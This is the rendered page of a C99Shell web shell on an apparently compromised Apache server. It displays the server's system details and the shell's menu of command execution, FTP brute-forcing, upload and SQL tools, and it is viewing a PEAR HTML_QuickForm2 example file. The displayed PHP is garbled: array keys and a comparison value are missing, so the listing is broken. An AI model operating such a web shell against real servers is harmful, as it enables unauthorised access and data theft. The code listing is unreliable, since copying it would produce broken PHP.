!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/lampp/lib/php/doc/HTML_QuickForm2/examples/support/   drwxr-xr-x
Free 9.81 GB of 61.93 GB (15.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     hierselect-loader.php (5.77 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Usage example for HTML_QuickForm2 package: AJAX-backed hierselect element, option loader
 */

/**
 * Class that returns additional options for hierselect elements
 *
 * The arrays are hardcoded there, in real life usage it will probably access
 * some database.
 */
class OptionLoader
{
    protected 
$primaryOptions = array();

    protected 
$secondaryOptions = array();

    public function 
__construct()
    {
        
$this->primaryOptions = array(
            
=> 'Database',
            
=> 'HTML',
            
=> 'HTTP',
            
=> 'Images',
            
=> 'Mail'
        
);

        
$this->secondaryOptions[1] = array (
          
=> 'DB',
          
=> 'DBA',
          
=> 'DBA_Relational',
          
=> 'DB_DataObject',
          
=> 'DB_DataObject_FormBuilder',
          
=> 'DB_NestedSet',
          
=> 'DB_NestedSet2',
          
=> 'DB_Pager',
          
=> 'DB_QueryTool',
          
10 => 'DB_Sqlite_Tools',
          
11 => 'DB_Table',
          
12 => 'DB_ado',
          
13 => 'DB_ldap',
          
14 => 'DB_ldap2',
          
15 => 'DB_odbtp',
          
16 => 'Gtk_MDB_Designer',
          
17 => 'MDB',
          
18 => 'MDB2',
          
19 => 'MDB2_Driver_fbsql',
          
20 => 'MDB2_Driver_ibase',
          
21 => 'MDB2_Driver_mssql',
          
22 => 'MDB2_Driver_mysql',
          
23 => 'MDB2_Driver_mysqli',
          
24 => 'MDB2_Driver_oci8',
          
25 => 'MDB2_Driver_pgsql',
          
26 => 'MDB2_Driver_querysim',
          
27 => 'MDB2_Driver_sqlite',
          
28 => 'MDB2_Schema',
          
29 => 'MDB2_TableBrowser',
          
30 => 'MDB_QueryTool',
          
31 => 'SQL_Parser',
        );

        
$this->secondaryOptions[2] = array (
          
=> 'HTML_AJAX',
          
=> 'HTML_BBCodeParser',
          
=> 'HTML_CSS',
          
=> 'HTML_Common',
          
=> 'HTML_Common2',
          
=> 'HTML_Crypt',
          
=> 'HTML_Entities',
          
=> 'HTML_Form',
          
=> 'HTML_Javascript',
          
10 => 'HTML_Menu',
          
11 => 'HTML_Page',
          
12 => 'HTML_Page2',
          
13 => 'HTML_Progress',
          
14 => 'HTML_Progress2',
          
15 => 'HTML_QuickForm',
          
16 => 'HTML_QuickForm2',
          
17 => 'HTML_QuickForm_CAPTCHA',
          
18 => 'HTML_QuickForm_Controller',
          
19 => 'HTML_QuickForm_DHTMLRulesTableless',
          
20 => 'HTML_QuickForm_ElementGrid',
          
21 => 'HTML_QuickForm_Livesearch',
          
22 => 'HTML_QuickForm_Renderer_Tableless',
          
23 => 'HTML_QuickForm_Rule_Spelling',
          
24 => 'HTML_QuickForm_SelectFilter',
          
25 => 'HTML_QuickForm_advmultiselect',
          
26 => 'HTML_QuickForm_altselect',
          
27 => 'HTML_Safe',
          
28 => 'HTML_Select',
          
29 => 'HTML_Select_Common',
          
30 => 'HTML_Table',
          
31 => 'HTML_Table_Matrix',
          
32 => 'HTML_TagCloud',
          
33 => 'HTML_Template_Flexy',
          
34 => 'HTML_Template_IT',
          
35 => 'HTML_Template_PHPLIB',
          
36 => 'HTML_Template_Sigma',
          
37 => 'HTML_Template_Xipe',
          
38 => 'HTML_TreeMenu',
          
39 => 'Pager',
          
40 => 'Pager_Sliding',
        );

        
$this->secondaryOptions[3] = array (
          
=> 'HTTP',
          
=> 'HTTP_Client',
          
=> 'HTTP_Download',
          
=> 'HTTP_FloodControl',
          
=> 'HTTP_Header',
          
=> 'HTTP_Request',
          
=> 'HTTP_Request2',
          
=> 'HTTP_Server',
          
=> 'HTTP_Session',
          
10 => 'HTTP_Session2',
          
11 => 'HTTP_SessionServer',
          
12 => 'HTTP_Upload',
          
13 => 'HTTP_WebDAV_Client',
          
14 => 'HTTP_WebDAV_Server',
        );

        
$this->secondaryOptions[4] = array (
          
=> 'Image_3D',
          
=> 'Image_Barcode',
          
=> 'Image_Canvas',
          
=> 'Image_Color',
          
=> 'Image_Color2',
          
=> 'Image_GIS',
          
=> 'Image_Graph',
          
=> 'Image_GraphViz',
          
=> 'Image_IPTC',
          
10 => 'Image_JpegMarkerReader',
          
11 => 'Image_JpegXmpReader',
          
12 => 'Image_MonoBMP',
          
13 => 'Image_Puzzle',
          
14 => 'Image_Remote',
          
15 => 'Image_Text',
          
16 => 'Image_Tools',
          
17 => 'Image_Transform',
          
18 => 'Image_WBMP',
          
19 => 'Image_XBM',
        );

        
$this->secondaryOptions[5] = array (
          
=> 'Mail',
          
=> 'Mail_IMAP',
          
=> 'Mail_IMAPv2',
          
=> 'Mail_Mbox',
          
=> 'Mail_Mime',
          
=> 'Mail_Queue',
          
=> 'Mail_mimeDecode',
          
=> 'Net_NNTP',
        );
    }

   
/**
    * Server-side callback
    *
    * @param array $values Values for previous select elements in hierselect
    * @return array Associative array (option value => option text)
    */
    
public function getOptions(array $values = array())
    {
        if (empty(
$values)) {
            return 
$this->primaryOptions;
        } elseif (
== count($values) && !empty($this->secondaryOptions[$values[0]])) {
            return 
$this->secondaryOptions[$values[0]];
        } else {
            return array(
'' => ' ');
        }
    }

   
/**
    * Client-side callback
    *
    * @param array $values Values for previous select elements in hierselect
    * @return array Returns array that serializes to JS object {values: [...], texts: [...]}
    */
    
public function getOptionsAjax(array $values = array())
    {
        
// This helps to notice the difference between sync and async calls
        
sleep(1);
        
$options $this->getOptions($values);
        return array(
'values' => array_keys($options),
                     
'texts'  => array_values($options));
    }
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.2884 ]--